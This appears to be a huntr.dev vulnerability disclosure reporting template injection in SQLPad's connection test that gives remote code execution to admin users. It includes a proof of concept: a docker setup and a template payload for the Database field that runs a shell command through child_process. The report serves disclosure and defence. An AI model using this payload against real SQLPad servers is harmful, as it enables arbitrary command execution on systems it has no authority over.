Lucene search

K
huntrBananabr46630727-D923-4444-A421-537ECD63E7FB
HistoryMar 11, 2022 - 9:30 p.m.

Template injection in connection test endpoint leads to RCE

2022-03-1121:30:34
bananabr
www.huntr.dev
15
template injection
rce
sqlpad
docker
security vulnerability
admin rights

EPSS

0.001

Percentile

45.7%

Description

Please enter a description of the vulnerability.

Proof of Concept

  • Run a local docker instance
sudo docker run -p 3000:3000 --name sqlpad -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=admin sqlpad/sqlpad:latest
  • Navigate to http://localhost:3000/
  • Click on Connections->Add connection* ChooseMySQL as the driver
  • Input the following payload into the Database form field
{{ process.mainModule.require('child_process').exec('id>/tmp/pwn') }}
  • Execute the following command to confirm the /tmp/pwn file was created in the container filesystem
sudo docker exec -it sqlpad cat /tmp/pwn

Impact

An SQLPad web application user with admin rights is able to run arbitrary commands in the underlying server.

EPSS

0.001

Percentile

45.7%

Related for 46630727-D923-4444-A421-537ECD63E7FB